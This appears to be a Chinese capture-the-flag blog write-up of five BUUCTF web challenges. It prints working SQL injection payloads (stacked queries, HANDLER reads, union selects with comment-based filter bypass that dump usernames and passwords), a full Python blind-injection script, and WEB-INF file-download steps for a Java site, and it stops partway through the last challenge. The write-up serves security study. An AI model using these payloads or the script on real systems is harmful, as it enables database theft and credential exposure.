BUUCTF-WEB(31-35)
Blacklist参考:
[GYCTF2020]Blacklist 1详解(handler下令用法!)-CSDN博客
SQL注入一些过滤及绕过总结_sql注入过滤-CSDN博客
过滤了这些内容。包括大写,由于是正则匹配,无法双写绕过
这里其实我又试了试注释符绕过,但是没有任何回显
https://www.cnblogs.com/web31-35.assets/image-20240523085329782.png
但是我发现可以堆叠注入,因为这道题的框我前面见过,那道题的升级版
爆数据库
1';show database;#https://www.cnblogs.com/web31-35.assets/image-20240523090527187.png
爆表
1';show tables;#https://www.cnblogs.com/web31-35.assets/image-20240523090608414.png
爆列:
1';show columns from FlagHere;#https://www.cnblogs.com/web31-35.assets/image-20240523090732274.png
看了wp,学到了handler这个下令
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;https://www.cnblogs.com/web31-35.assets/image-20240523091112744.png
Hack World
参考:
CISCN2019 华北赛区 Day2 Web1]Hack World-CSDN博客
[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解-阿里云开发者社区 (aliyun.com)
表还有字段都有了,然后盲注
大佬的脚本:
# -*- coding:utf-8 -*-
# Author: mochu7
import requests
import string
def blind_injection(url):
flag = ''
strings = string.printable
for num in range(1,60):
for i in strings:
payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
post_data = {"id":payload}
res = requests.post(url=url,data=post_data)
if 'Hello' in res.text:
flag += i
print(flag)
else:
continue
print(flag)
if __name__ == '__main__':
url = 'http://6536f1ec-e085-4588-bc35-c00a2ac6b093.node5.buuoj.cn:81/index.php'
blind_injection(url)这边跑出来了,交flag对不了,也挺奇怪
Easy Java
参考:
[刷题RoarCTF 2019]Easy Java - kar3a - 博客园 (cnblogs.com)
[(详解)RoarCTF 2019]Easy Java-CSDN博客
[RoarCTF 2019]Easy Java - 春告鳥 - 博客园 (cnblogs.com)
我对java这个网站不太了解,所以也是直接看师傅们的博客了
这里也是打开help这个链接,之后发现可能有下载的毛病
https://www.cnblogs.com/web31-35.assets/image-20240523121003711.png
但是是下载不了的,我们改成POST请求就可以成功发送请求,下载文件
下载了help.docx是没有flag的
https://www.cnblogs.com/web31-35.assets/image-20240523121036350.png
翻了师傅们的博客,知道
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码 那我们POST发送
filename=/WEB-INF/web.xml下载后也是发现了关键信息
https://www.cnblogs.com/web31-35.assets/image-20240523121415299.png
然后下载
filename=/WEB-INF/classes/com/wm/ctf/FlagController.class给代码里面的base64解密得到flag
https://www.cnblogs.com/web31-35.assets/image-20240523121852077.png
[网鼎杯 2018]Fakebook
参考:
网鼎杯 2018]Fakebook_fakebook buuctf-CSDN博客
网鼎杯 2018]Fakebook 1 - junlebao - 博客园 (cnblogs.com)
目次扫描,找到了robots.txt,flag.php
https://www.cnblogs.com/web31-35.assets/image-20240523184123241.png
访问了一下,什么没有
但是我看wp这里都说是user.php.bak
我们下载下来发现是个反序列化
https://www.cnblogs.com/web31-35.assets/image-20240523185245020.png
注册账号后发现有个no参数,我们尝试注入一下
https://www.cnblogs.com/web31-35.assets/image-20240523185713314.png
输入1',根据报错应该是数字型的
https://www.cnblogs.com/web31-35.assets/image-20240523185748896.png
爆字段数,一共有四个
1 order by 5https://www.cnblogs.com/web31-35.assets/image-20240523185824824.png
爆回显位置,然后union select被过滤了,我们用注释绕过
-1 union/**/select 1,2,3,4剩下就是正常注入
-1 union/**/select 1,database(),3,4// 爆库
-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables wheretable_schema='fakebook'// 爆表
-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns wheretable_schema='fakebook' and table_name='users' // 爆列
-1 union/**/select 1,group_concat(username,'-',passwd,'-',data),3,4 from fakebook.users // 爆数据https://www.cnblogs.com/web31-35.assets/image-20240523190808126.png
我们发现这个data这个数据就是序列化的内容,我们再看一下那个文件
页:
[1]